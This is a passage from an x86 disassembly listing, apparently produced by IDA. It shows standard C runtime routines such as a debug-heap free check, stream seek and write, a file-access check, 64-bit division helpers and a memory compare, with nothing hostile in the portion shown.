					; sub_419A90:loc_419C74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419DAC:				; CODE XREF: sub_419A90+1B7j
					; sub_419A90:loc_419C74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DD0	proc near		; CODE XREF: sub_40C0F5+4p
					; sub_4333F0+1Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_419DE2
		jmp	loc_419E6A
; ---------------------------------------------------------------------------


loc_419DE2:				; CODE XREF: sub_419DD0+Bj
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax


loc_419DF5:				; CODE XREF: sub_419DD0+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_419E47
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_419E47
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_419E47
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_419E47
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_434D38
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419E47
		int	3		; Trap to Debugger


loc_419E47:				; CODE XREF: sub_419DD0+34j
					; sub_419DD0+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419DF5
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	9
		call	sub_41BD20
		add	esp, 4


loc_419E6A:				; CODE XREF: sub_419DD0+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E80	proc near		; CODE XREF: sub_40C148+Bp
					; sub_412726+3Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4150F0
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_419E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EA0	proc near		; CODE XREF: sub_419F60+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_417C60
		push	2
		mov	eax, dword_4DF694
		push	eax
		call	sub_4160E0
		add	esp, 8
		mov	ecx, dword_4DF690
		sub	ecx, dword_4DF694
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_419F2D
		push	68h
		push	offset dword_434D44
		push	2
		push	2
		mov	edx, dword_4DF694
		push	edx
		call	sub_4160E0
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, dword_4DF694
		push	eax
		call	sub_4155B0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_419F0A
		call	sub_417C70
		xor	eax, eax
		jmp	short loc_419F4F
; ---------------------------------------------------------------------------


loc_419F0A:				; CODE XREF: sub_419EA0+5Fj
		mov	ecx, dword_4DF690
		sub	ecx, dword_4DF694
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	dword_4DF690, eax
		mov	ecx, [ebp+var_4]
		mov	dword_4DF694, ecx


loc_419F2D:				; CODE XREF: sub_419EA0+2Aj
		mov	edx, dword_4DF690
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, dword_4DF690
		add	ecx, 4
		mov	dword_4DF690, ecx
		call	sub_417C70
		mov	eax, [ebp+arg_0]


loc_419F4F:				; CODE XREF: sub_419EA0+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_419EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F60	proc near		; CODE XREF: .data:0040BBA7p
					; sub_4336D0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_419EA0
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_419F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F80	proc near		; DATA XREF: .data:0043701Co
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_434D44
		push	2
		push	80h
		call	sub_4150C0
		add	esp, 10h
		mov	dword_4DF694, eax
		cmp	dword_4DF694, 0
		jnz	short loc_419FB4
		push	18h
		call	sub_41AC70
		add	esp, 4


loc_419FB4:				; CODE XREF: sub_419F80+28j
		mov	eax, dword_4DF694
		mov	dword ptr [eax], 0
		mov	ecx, dword_4DF694
		mov	dword_4DF690, ecx
		pop	ebp
		retn
sub_419F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD0	proc near		; CODE XREF: sub_40F3B8+26Ep
					; sub_40F3B8+377p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_419FD7:				; CODE XREF: sub_419FD0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_419FFB
		push	offset dword_43449C
		push	0
		push	65h
		push	offset dword_434D50
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419FFB
		int	3		; Trap to Debugger


loc_419FFB:				; CODE XREF: sub_419FD0+Bj
					; sub_419FD0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419FD7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AE20
		add	esp, 4
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A040
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A040	proc near		; CODE XREF: sub_419FD0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_41A047:				; CODE XREF: sub_41A040+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A06E
		push	offset dword_4344AC
		push	0
		push	92h
		push	offset dword_434D50
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41A06E
		int	3		; Trap to Debugger


loc_41A06E:				; CODE XREF: sub_41A040+Bj
					; sub_41A040+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A047
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41A09B
		cmp	[ebp+arg_8], 0
		jz	short loc_41A0AE
		cmp	[ebp+arg_8], 1
		jz	short loc_41A0AE
		cmp	[ebp+arg_8], 2
		jz	short loc_41A0AE


loc_41A09B:				; CODE XREF: sub_41A040+47j
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_41A160
; ---------------------------------------------------------------------------


loc_41A0AE:				; CODE XREF: sub_41A040+4Dj
					; sub_41A040+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_41A0DE
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4265A0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0


loc_41A0DE:				; CODE XREF: sub_41A040+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41B920
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41A10B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_41A13F
; ---------------------------------------------------------------------------


loc_41A10B:				; CODE XREF: sub_41A040+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41A13F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_41A13F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_41A13F
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h


loc_41A13F:				; CODE XREF: sub_41A040+C9j
					; sub_41A040+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_4263E0
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax


loc_41A160:				; CODE XREF: sub_41A040+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A170	proc near		; CODE XREF: sub_410A18+127p
					; .data:004134E8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41AE20
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A1B0
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41A170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B0	proc near		; CODE XREF: sub_41A170+20p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_41A1D9
		xor	eax, eax
		jmp	loc_41A3C5
; ---------------------------------------------------------------------------


loc_41A1D9:				; CODE XREF: sub_41A1B0+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_41A1F4
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41A1FB
; ---------------------------------------------------------------------------


loc_41A1F4:				; CODE XREF: sub_41A1B0+37j
		mov	[ebp+var_1C], 1000h


loc_41A1FB:				; CODE XREF: sub_41A1B0+42j
					; sub_41A1B0:loc_41A3BDj
		cmp	[ebp+var_C], 0
		jz	loc_41A3C2
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	short loc_41A289
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41A289
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_41A231
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41A23A
; ---------------------------------------------------------------------------


loc_41A231:				; CODE XREF: sub_41A1B0+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_41A23A:				; CODE XREF: sub_41A1B0+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		push	ecx
		call	sub_419330
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_41A3BD
; ---------------------------------------------------------------------------


loc_41A289:				; CODE XREF: sub_41A1B0+63j
					; sub_41A1B0+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41A35F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		and	eax, 108h
		test	eax, eax
		jz	short loc_41A2C4
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_41B920
		add	esp, 4
		test	eax, eax
		jz	short loc_41A2C4
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41A3C5
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A1B0+F2j
					; sub_41A1B0+102j
		cmp	[ebp+var_1C], 0
		jz	short loc_41A2DC
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_41A2E2
; ---------------------------------------------------------------------------


loc_41A2DC:				; CODE XREF: sub_41A1B0+118j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_41A2E2:				; CODE XREF: sub_41A1B0+12Aj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_426840
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41A327
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41A3C5
; ---------------------------------------------------------------------------


loc_41A327:				; CODE XREF: sub_41A1B0+156j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnb	short loc_41A35D
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41A3C5
; ---------------------------------------------------------------------------


loc_41A35D:				; CODE XREF: sub_41A1B0+18Fj
		jmp	short loc_41A3BD
; ---------------------------------------------------------------------------


loc_41A35F:				; CODE XREF: sub_41A1B0+DFj
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420720
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A38A
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41A3C5
; ---------------------------------------------------------------------------


loc_41A38A:				; CODE XREF: sub_41A1B0+1CBj
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+18h], 0
		jle	short loc_41A3B0
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_28], eax
		jmp	short loc_41A3B7
; ---------------------------------------------------------------------------


loc_41A3B0:				; CODE XREF: sub_41A1B0+1F3j
		mov	[ebp+var_28], 1


loc_41A3B7:				; CODE XREF: sub_41A1B0+1FEj
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_1C], ecx


loc_41A3BD:				; CODE XREF: sub_41A1B0+D4j
					; sub_41A1B0:loc_41A35Dj
		jmp	loc_41A1FB
; ---------------------------------------------------------------------------


loc_41A3C2:				; CODE XREF: sub_41A1B0+4Fj
		mov	eax, [ebp+arg_8]


loc_41A3C5:				; CODE XREF: sub_41A1B0+24j
					; sub_41A1B0+10Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41A1B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3D0	proc near		; CODE XREF: sub_41114F+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E035C	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41A3FB
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A42C
; ---------------------------------------------------------------------------


loc_41A3FB:				; CODE XREF: sub_41A3D0+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41A42A
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_41A42A
		call	sub_4224D0
		mov	dword ptr [eax], 0Dh
		call	sub_4224E0
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A42C
; ---------------------------------------------------------------------------


loc_41A42A:				; CODE XREF: sub_41A3D0+33j
					; sub_41A3D0+3Dj
		xor	eax, eax


loc_41A42C:				; CODE XREF: sub_41A3D0+29j
					; sub_41A3D0+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_41A3D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A430	proc near		; CODE XREF: sub_411169+3Fp
					; sub_4146F0+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41A452
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A493
; ---------------------------------------------------------------------------


loc_41A452:				; CODE XREF: sub_41A430+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41A460:				; CODE XREF: sub_41A430+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A460
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A48E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41A48E
		jb	short loc_41A48F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41A48F


loc_41A48E:				; CODE XREF: sub_41A430+4Ej
					; sub_41A430+54j
		dec	esi


loc_41A48F:				; CODE XREF: sub_41A430+56j
					; sub_41A430+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41A493:				; CODE XREF: sub_41A430+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41A430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A4A0	proc near		; CODE XREF: sub_411169+2Dp
					; sub_4146F0+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41A4C1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41A511
; ---------------------------------------------------------------------------


loc_41A4C1:				; CODE XREF: sub_41A4A0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41A4CF:				; CODE XREF: sub_41A4A0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A4CF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41A4FA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41A4FA
		jb	short loc_41A502
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41A502


loc_41A4FA:				; CODE XREF: sub_41A4A0+4Aj
					; sub_41A4A0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41A502:				; CODE XREF: sub_41A4A0+52j
					; sub_41A4A0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A511:				; CODE XREF: sub_41A4A0+1Fj
		pop	ebx
		retn	10h
sub_41A4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A520	proc near		; CODE XREF: sub_411278+5Ep
					; sub_411278+8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41A541
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41A541:				; CODE XREF: sub_41A520+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41A55D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41A55D:				; CODE XREF: sub_41A520+27j
		or	eax, eax
		jnz	short loc_41A579
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A5BA
; ---------------------------------------------------------------------------


loc_41A579:				; CODE XREF: sub_41A520+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41A587:				; CODE XREF: sub_41A520+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41A587
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A5B5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41A5B5
		jb	short loc_41A5B6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41A5B6


loc_41A5B5:				; CODE XREF: sub_41A520+85j
					; sub_41A520+8Bj
		dec	esi


loc_41A5B6:				; CODE XREF: sub_41A520+8Dj
					; sub_41A520+93j
		xor	edx, edx
		mov	eax, esi


loc_41A5BA:				; CODE XREF: sub_41A520+57j
		dec	edi
		jnz	short loc_41A5C4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A5C4:				; CODE XREF: sub_41A520+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41A520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A5D0	proc near		; CODE XREF: sub_411757+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41A61C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41A61D
		test	eax, 1
		jz	short loc_41A5FD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41A64A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41A61A


loc_41A5FD:				; CODE XREF: sub_41A5D0+20j
					; sub_41A5D0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41A64A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41A64A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41A5FD


loc_41A61A:				; CODE XREF: sub_41A5D0+2Bj
					; sub_41A5D0+84j
		pop	edi
		pop	esi

locret_41A61C:				; CODE XREF: sub_41A5D0+6j
		retn
; ---------------------------------------------------------------------------


loc_41A61D:				; CODE XREF: sub_41A5D0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41A652
		repe cmpsd
		jz	short loc_41A652
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41A645
		cmp	ch, dh
		jnz	short loc_41A645
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41A645
		cmp	ch, dh


loc_41A645:				; CODE XREF: sub_41A5D0+63j
					; sub_41A5D0+67j ...
		mov	eax, 0


loc_41A64A:				; CODE XREF: sub_41A5D0+26j
					; sub_41A5D0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A652:				; CODE XREF: sub_41A5D0+55j
					; sub_41A5D0+59j
		test	eax, eax
		jz	short loc_41A61A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41A645
		dec	eax
		jz	short loc_41A679
		cmp	dh, ch
		jnz	short loc_41A645
		dec	eax
		jz	short loc_41A679
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41A645
